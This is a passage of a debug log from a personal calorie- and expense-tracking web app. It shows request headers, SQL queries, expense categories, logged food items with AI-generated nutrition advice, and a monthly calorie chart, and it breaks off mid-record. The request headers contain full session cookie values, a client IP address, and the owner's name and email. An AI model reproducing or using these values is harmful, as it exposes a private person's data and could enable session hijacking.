    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14fab-oN3NSm5Qcl/YsEqK1ThBSa02/A8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T17:15:42.494Z server-connect:app Executing action step identify
2025-12-16T17:15:42.495Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.495Z server-connect:output identity: 1
2025-12-16T17:15:42.982Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T17:15:42.984Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T17:15:42.985Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T17:15:42.985Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T17:15:42.986Z server-connect:app Executing action step identify
2025-12-16T17:15:42.986Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.986Z server-connect:output identity: 1
2025-12-16T17:15:42.986Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:42.986Z server-connect:app Executing action step identify
2025-12-16T17:15:42.986Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.986Z server-connect:output identity: 1
2025-12-16T17:15:42.986Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.986Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:42.987Z server-connect:output restrict: undefined
2025-12-16T17:15:42.987Z server-connect:app Executing action step single
2025-12-16T17:15:42.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T17:15:42.987Z server-connect:app Executing action step identify
2025-12-16T17:15:42.987Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.987Z server-connect:output identity: 1
2025-12-16T17:15:42.987Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.987Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.987Z server-connect:output restrict: undefined
2025-12-16T17:15:42.987Z server-connect:app Executing action step single
2025-12-16T17:15:42.987Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T17:15:42.988Z server-connect:app Executing action step identify
2025-12-16T17:15:42.988Z server-connect:app options: { provider: 'security' }
2025-12-16T17:15:42.988Z server-connect:output identity: 1
2025-12-16T17:15:42.988Z server-connect:app Executing action step restrict
2025-12-16T17:15:42.988Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T17:15:42.989Z server-connect:output restrict: undefined
2025-12-16T17:15:42.989Z server-connect:app Executing action step select
2025-12-16T17:15:42.989Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T17:15:42.990Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T17:15:42.991Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake shows a decent balance of carbohydrates and fats, with some protein sources included. The inclusion of fruits and vegetables is positive, supporting overall nutrient intake. However, protein seems to be a significant area for improvement to support muscle development goals. Meal timing appears spread throughout the day, which is generally good for sustained energy. Recovery support is adequate with the consumption of fluids.",
    bad_points: [
      'Protein content across meals appears to be suboptimal for muscle development.',
      'Some items like digestive biscuits and ketchup add less nutritional value.',
      'Potential for higher fat content depending on the preparation of sabzis and idli.',
      'Coffee with sugar may not be the most optimal choice for fueling workouts.'
    ],
    good_points: [
      'Inclusion of fruits like papaya.',
      'Incorporation of vegetables like aloo gobi and mooli ka saag.',
      'Hydration through green tea.',
      'Spread of meals throughout the day.'
    ],
    suggestions: [
      'Prioritize protein-rich sources at each meal, such as lean meats, fish, eggs, legumes, or Greek yogurt.',
      'Consider adding a protein shake or a protein-rich snack post-workout to aid muscle recovery.',
      'Increase the variety of vegetables to ensure a wider range of micronutrients.',
      'Reduce intake of processed snacks like digestive biscuits.',
      'Opt for unsweetened beverages where possible.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'A slight downward trend is likely to continue.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T17:15:42.992Z server-connect:output restrict: undefined
2025-12-16T17:15:42.992Z server-connect:app Executing action step single
2025-12-16T17:15:42.992Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T17:15:42.996Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T17:15:42.999Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T17:15:42.999Z server-connect:app Executing action step select
2025-12-16T17:15:42.999Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T17:15:43.001Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  },
  {
    id: 412,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 52,
    protein_gm: 1,
    carbs_gm: 13,
    fat_gm: 0,
    quantity: '3 slices (approx 120g, assuming 40g per slice)',
    replacements: 'Berries (strawberries, blueberries - slightly fewer calories per serving, but papaya is already low),Watermelon (similar calorie profile, high water content)',
    created_at: '2025-12-16T08:21:35.000Z',
    skip_level: 1,
    skip_reason: "Papaya is a highly nutritious fruit, excellent for health and muscle development. It's rich in vitamins A and C, folate, fiber, and contains papain, an enzyme that aids digestion, which is beneficial for nutrient absorption after workouts."
  },
  {
    id: 413,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Dal Rice',
    calories: 320,
    protein_gm: 14,
    carbs_gm: 65,
    fat_gm: 1,
    quantity: '1 katori cooked Dal (approx. 150g, made from 40g dry Dal) + 1 katori cooked White Rice (approx. 150g, made from 50g dry Rice)',
    replacements: 'Replace white rice with brown rice or quinoa for higher fiber and sustained energy release,Increase the proportion of dal to rice for higher protein content,Add more non-starchy vegetables to the meal to increase volume and nutrients without many calories',
    created_at: '2025-12-16T09:26:38.000Z',
    skip_level: 1,
    skip_reason: "This is a staple, balanced meal. Dal provides excellent plant-based protein and fiber, crucial for muscle repair and satiety. Rice offers complex carbohydrates, which are essential for fueling your early morning gym workouts and replenishing glycogen stores for muscle development. It's a good energy source."
  },
  {
    id: 414,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Mooli ka Saag',
    calories: 75,
    protein_gm: 2,
    carbs_gm: 5,
    fat_gm: 5,
    quantity: '1 katori cooked (approx. 150g, typically made from ~200g raw greens + 1 tsp oil/ghee)',
    replacements: 'Cook with minimal oil or use a cooking spray to reduce fat content,Steam the mooli greens instead of stir-frying them',
    created_at: '2025-12-16T09:26:38.000Z',
    skip_level: 1,
    skip_reason: "Mooli ka Saag is highly beneficial. It's rich in vitamins (like Vitamin C, K), minerals, and dietary fiber, which aids digestion and overall health. It's very low in calories but nutrient-dense, making it excellent for supporting your fitness goals without adding excess energy."
  },
  {
    id: 415,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Whole Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240ml, assuming full-fat milk)',
    replacements: 'Skim Milk (reduced fat),Toned Milk (lower fat),Unsweetened Almond Milk (much lower calories, different nutrient profile)',
    created_at: '2025-12-16T11:45:42.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein, calcium, and calories needed for muscle development. Whole milk provides healthy fats which can be beneficial for energy and hormone production, which is good for your active lifestyle. If you wish to reduce fat intake, toned or skim milk are good alternatives.'
  },
  {
    id: 416,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 25,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 30g total powder, providing 25g protein)',
    replacements: "Not applicable, as whey protein is a highly efficient and lean protein source itself, crucial for muscle growth and recovery with minimal non-protein calories. Alternatives would be other protein sources like egg whites, chicken breast, or paneer, which are not necessarily 'lower calorie' per gram of protein but rather different food forms.",
    created_at: '2025-12-16T11:45:42.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source. It is highly recommended for someone with muscle development goals, especially around early morning gym sessions, as it aids in muscle repair and growth effectively.'
  }
]
2025-12-16T17:15:43.001Z server-connect:app Executing action step setvalue
2025-12-16T17:15:43.001Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T17:15:43.001Z server-connect:output var_total: 2030
2025-12-16T17:15:43.001Z server-connect:app Executing action step setvalue
2025-12-16T17:15:43.001Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T17:15:43.001Z server-connect:output var_consumed: 85
2025-12-16T17:15:43.001Z server-connect:app Executing action step setvalue
2025-12-16T17:15:43.001Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T17:15:43.001Z server-connect:output var_deficit: 370
2025-12-16T17:15:43.001Z server-connect:app Executing action step custom
2025-12-16T17:15:43.001Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T17:15:43.003Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
